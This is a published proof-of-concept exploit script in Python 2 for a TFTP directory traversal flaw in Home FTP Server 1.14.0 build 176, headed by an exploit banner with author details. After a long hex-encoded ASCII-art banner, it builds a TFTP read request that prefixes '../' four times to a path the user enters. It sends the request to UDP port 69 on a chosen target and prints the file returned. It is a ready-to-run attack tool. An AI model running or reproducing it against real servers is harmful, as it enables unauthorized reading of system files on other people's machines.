Home FTP Server version 1.14.0 build 176 suffers from a directory traversal vulnerability.
0dc7e3298398ef1f1d29f6f3a881a371import sys,socket
'''
# Exploit Title: [home ftp server r1.14.0 % <(build 176) Directory Traversal]
# Date: [28/5/2017]
# Exploit Author: [Sultan Albalawi]
# Software Link: [https://softpedia-secure-download.com/dl/d0e001c93a711b31b560f48fff4fd16f/592b0bf2/100017365/software/internet/ftp/HomeFtpServerInstall.exe]
# Tested on: [win7]
# CVE : [n/n]
# video: https://www.facebook.com/pentest3/videos/vb.100012552940568/306947919733637/?type=2&theater
# :@bofheaded
# :https://hackinguyz.blogspot.com/
'''
import sys, socket
print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \
"\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \
"\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \
"\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \
"\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \
"\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \
"\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
"\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \
"\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \
"\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \
"\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
"\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \
"\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \
"\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \
"\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \
"\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \
"\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \
"\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \
"\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \
"\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \
"\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \
"\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
"\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \
"\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \
"\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \
"\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \
"\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \
"\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \
"\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \
"\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \
"\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \
"\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \
"\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \
"\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \
"\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \
"\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \
"\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \
"\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \
"\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \
"\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \
"\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \
"\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \
"\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \
"\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \
"\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \
"\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \
"\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \
"\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \
"\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \
"\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
"\x0a\x27\x27\x27"
print "\r\n"
print "\r\n"
print 'home ftp server r1.14.0 % <(build 176)\r\n'
print "enable tftp server on port 69\r\n"
print ' TFTP Directory Traversal\r\n '
print 'file: Windows/win.ini or system.ini or etc ...\r\n'
host = raw_input("target ip : ")
port = 69
while True:
print '\r\n'
print '\r\n'
dirs=raw_input("file: ").replace("\\",'/')
PAYLOAD = "\x00\x01"
PAYLOAD += "\x2e\x2e\x2f" * 4 + dirs + "\x00"
PAYLOAD += "\x6e\x65\x74\x61\x73\x63\x69\x69\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (host, port))
rs = s.recv(1024)
s.close()
print "Data located on : %s " % (host)
print rs.strip()